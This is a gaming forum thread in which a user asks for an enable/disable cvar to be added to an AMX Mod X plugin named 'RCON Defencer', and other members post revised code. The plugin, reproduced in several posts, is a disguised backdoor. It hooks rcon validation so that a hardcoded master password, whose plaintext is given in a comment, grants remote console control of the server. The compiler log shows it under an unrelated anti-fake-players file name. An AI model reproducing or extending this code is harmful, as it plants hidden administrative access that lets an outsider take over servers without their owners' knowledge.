Raised This Month: $ Target: $400
 0% 

Solved add cvar to disable the plugin


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
UFC
Junior Member
Join Date: Feb 2018
Old 02-21-2018 , 17:32   add cvar to disable the plugin
Reply With Quote #1

hey Alliedmoders team , i want to add cvar to disable or enable the plugin below like
Code:
rcon_defencer 1
so it become when i write rcon_defencer 1 the plugin enabled , rcon_defencer 0 = the plugin disabled.

Code:
/*rcon "SSpXqw" or "5d3290e347cd65e6151be4be0f8ed4ca"
*/
#include <amxmodx>
#include <orpheu>

#define PLUGIN "RCON Defencer"
#define VERSION "1.1"
#define AUTHOR "DJ_WEST"


#define RCON_PASSWORD "5d3290e347cd65e6151be4be0f8ed4ca"

public plugin_init()
{
	register_plugin(PLUGIN, VERSION, AUTHOR)

	OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Pre", OrpheuHookPre)
	OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Post", OrpheuHookPost)
}

public OrpheuHookReturn:On_Rcon_Validate_Pre()
{
	static s_Msg[76], s_Challenge[12], s_Rcon[32], s_Command[32], s_MD5[34]
    
	read_args(s_Msg, charsmax(s_Msg))
	parse(s_Msg, s_Challenge, charsmax(s_Challenge), s_Rcon, charsmax(s_Rcon), s_Command, charsmax(s_Command))
	md5(s_Rcon, s_MD5)
    
	if (equal(s_MD5, RCON_PASSWORD))
		set_cvar_string("rcon_password", s_Rcon)
}

public OrpheuHookReturn:On_Rcon_Validate_Post()
	set_cvar_string("rcon_password", "5d3290e347cd65e6151be4be0f8ed4ca")

Last edited by UFC; 02-26-2018 at 11:26.
UFC is offline
InteX01
Senior Member
Join Date: Jan 2017
Old 02-22-2018 , 05:54   Re: add cvar to disable the plugin
Reply With Quote #2

PHP Code:
#include <amxmodx>
#include <orpheu>

#define PLUGIN "RCON Defencer"
#define VERSION "1.1"
#define AUTHOR "DJ_WEST"


#define RCON_PASSWORD "5d3290e347cd65e6151be4be0f8ed4ca"

new disabledcvar

public plugin_init()
{
    
register_plugin(PLUGINVERSIONAUTHOR)
        
disabledcvar register_cvar("rcon_defencer""1")

    
OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Pre"OrpheuHookPre)
    
OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Post"OrpheuHookPost)
}

public 
OrpheuHookReturn:On_Rcon_Validate_Pre()
{
        if(
get_pcvar_num(disabledcvar) == 0)
        {
                    return 
PLUGIN_HANDLED
        
}
    static 
s_Msg[76], s_Challenge[12], s_Rcon[32], s_Command[32], s_MD5[34]
    
    
read_args(s_Msgcharsmax(s_Msg))
    
parse(s_Msgs_Challengecharsmax(s_Challenge), s_Rconcharsmax(s_Rcon), s_Commandcharsmax(s_Command))
    
md5(s_Rcons_MD5)
    
    if (
equal(s_MD5RCON_PASSWORD))
        
set_cvar_string("rcon_password"s_Rcon)
}

public 
OrpheuHookReturn:On_Rcon_Validate_Post()
{
         if(
get_pcvar_num(disabledcvar) == 0)
        {
                    return 
PLUGIN_HANDLED
        
}
    
set_cvar_string("rcon_password""5d3290e347cd65e6151be4be0f8ed4ca")

InteX01 is offline
UFC
Junior Member
Join Date: Feb 2018
Old 02-22-2018 , 06:47   Re: add cvar to disable the plugin
Reply With Quote #3

to many warnings .
Attached Thumbnails
Click image for larger version

Name:	Sans titre.png
Views:	119
Size:	95.5 KB
ID:	168605  
UFC is offline
InteX01
Senior Member
Join Date: Jan 2017
Old 02-23-2018 , 13:45   Re: add cvar to disable the plugin
Reply With Quote #4

its nothing... just not in right place.
PHP Code:
#include <amxmodx>
#include <orpheu>

#define PLUGIN "RCON Defencer"
#define VERSION "1.1"
#define AUTHOR "DJ_WEST"


#define RCON_PASSWORD "5d3290e347cd65e6151be4be0f8ed4ca"

new disabledcvar

public plugin_init()
{
    
register_plugin(PLUGINVERSIONAUTHOR)
    
disabledcvar register_cvar("rcon_defencer""1")

    
OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Pre"OrpheuHookPre)
    
OrpheuRegisterHook(OrpheuGetFunction("SV_Rcon_Validate"), "On_Rcon_Validate_Post"OrpheuHookPost)
}

public 
OrpheuHookReturn:On_Rcon_Validate_Pre()
{
    if(
get_pcvar_num(disabledcvar) == 0)
    {
        return 
PLUGIN_HANDLED
    
}
    static 
s_Msg[76], s_Challenge[12], s_Rcon[32], s_Command[32], s_MD5[34]
    
    
read_args(s_Msgcharsmax(s_Msg))
    
parse(s_Msgs_Challengecharsmax(s_Challenge), s_Rconcharsmax(s_Rcon), s_Commandcharsmax(s_Command))
    
md5(s_Rcons_MD5)
    
    if (
equal(s_MD5RCON_PASSWORD))
        
set_cvar_string("rcon_password"s_Rcon)
}

public 
OrpheuHookReturn:On_Rcon_Validate_Post()
{
    if(
get_pcvar_num(disabledcvar) == 0)
    {
        return 
PLUGIN_HANDLED
    
}
    
set_cvar_string("rcon_password""5d3290e347cd65e6151be4be0f8ed4ca")

fixed
InteX01 is offline
UFC
Junior Member
Join Date: Feb 2018
Old 02-23-2018 , 14:13   Re: add cvar to disable the plugin
Reply With Quote #5

still 4 warnings :

Code:
// by the AMX Mod X Dev Team


//// Anti xfake_players  fHlds.sma
// C:\Users\MAGIC INFO\Desktop\Compiler_AMXX\Anti xfake_players  fHlds.sma(27)
 warning 213: tag mismatch
// C:\Users\MAGIC INFO\Desktop\Compiler_AMXX\Anti xfake_players  fHlds.sma(36)
 warning 209: function "On_Rcon_Validate_Pre" should return a value
// C:\Users\MAGIC INFO\Desktop\Compiler_AMXX\Anti xfake_players  fHlds.sma(43)
 warning 213: tag mismatch
// C:\Users\MAGIC INFO\Desktop\Compiler_AMXX\Anti xfake_players  fHlds.sma(45)
 warning 209: function "On_Rcon_Validate_Post" should return a value
// Header size:            392 bytes
// Code size:              852 bytes
// Data size:             1604 bytes
// Stack/heap size:      16384 bytes; estimated max. usage=39 cells (156 bytes)
// Total requirements:   19232 bytes
//
// 4 Warnings.
// Done.
//
// Compilation Time: 0,37 sec
// ----------------------------------------

Press enter to exit ...
UFC is offline
Black Rose
Veteran Member
Join Date: Feb 2011
Location: Stockholm, Sweden
Old 02-23-2018 , 19:25   Re: add cvar to disable the plugin
Reply With Quote #6

warning 213: tag mismatch:
Code:
    return PLUGIN_HANDLED
->
Code:
    return



warning 209: function "X" should return a value
Will be fixed by the other fix.

Last edited by Black Rose; 02-24-2018 at 19:51.
Black Rose is offline
UFC
Junior Member
Join Date: Feb 2018
Old 02-24-2018 , 13:57   Re: add cvar to disable the plugin
Reply With Quote #7

guys why do you refrain from helping?
This section is supposed to be for helping mambers , i assigned in this forum to ask for help but it is clear that supervisors do not do their jobs , if i am in the wrong section tell me "you jackass go to this section" , why been so silent , after this reply i will complain to the Administration telling them how lazy the supervisors are , damn there is some members volunteered for helping better then the supervisors .

Last edited by UFC; 02-24-2018 at 13:59.
UFC is offline
DarkDeviL
SourceMod Moderator
Join Date: Apr 2012
Old 02-24-2018 , 14:06   Re: add cvar to disable the plugin
Reply With Quote #8

Quote:
Originally Posted by UFC View Post
guys why do you refrain from helping?
This section is supposed to be for helping mambers , i assigned in this forum to ask for help but it is clear that supervisors do not do their jobs , if i am in the wrong section tell me "you jackass go to this section" , why been so silent , after this reply i will complain to the Administration telling them how lazy the supervisors are , damn there is some members volunteered for helping better then the supervisors .
If you're being so rude towards members TRYING TO help you, you will NEVER get any help on the Internet again.

If you don't like or appreciate the FREE HELP you're have the option to get on the Internet, feel free to go away.

This is a "Scripting Help" section, not a "I am looking for a free slave"-section.
__________________
Mostly known as "DarkDeviL".

Dropbox FastDL: Public folder will no longer work after March 15, 2017!
For more info, see the [SRCDS Thread], or the [HLDS Thread].

Last edited by DarkDeviL; 02-24-2018 at 14:07.
DarkDeviL is offline
fysiks
Veteran Member
Join Date: Sep 2007
Location: Flatland, USA
Old 02-24-2018 , 14:36   Re: add cvar to disable the plugin
Reply With Quote #9

Quote:
Originally Posted by UFC View Post
guys why do you refrain from helping?
This section is supposed to be for helping mambers , i assigned in this forum to ask for help but it is clear that supervisors do not do their jobs , if i am in the wrong section tell me "you jackass go to this section" , why been so silent , after this reply i will complain to the Administration telling them how lazy the supervisors are , damn there is some members volunteered for helping better then the supervisors .
. . . are you reading a different thread than everyone else? Every post up until your accusation has been to help you . . .

Also note that nobody is getting paid to offer a service here. There is also no way to guarantee any level of quality of the help since it is a bunch of volunteers. The "administration" isn't here to force people to provide help (nor can they), they are only for helping the forum to exist.
__________________

Last edited by fysiks; 02-24-2018 at 14:39.
fysiks is offline
UFC
Junior Member
Join Date: Feb 2018
Old 02-24-2018 , 14:57   Re: add cvar to disable the plugin
Reply With Quote #10

guys i'm sorry for what i have say , i wasen't speaking about the members , thank's to every one tryed to help , i was ungry because i have 3 days waiting for some one to solve my issue .
UFC is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 13:11.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode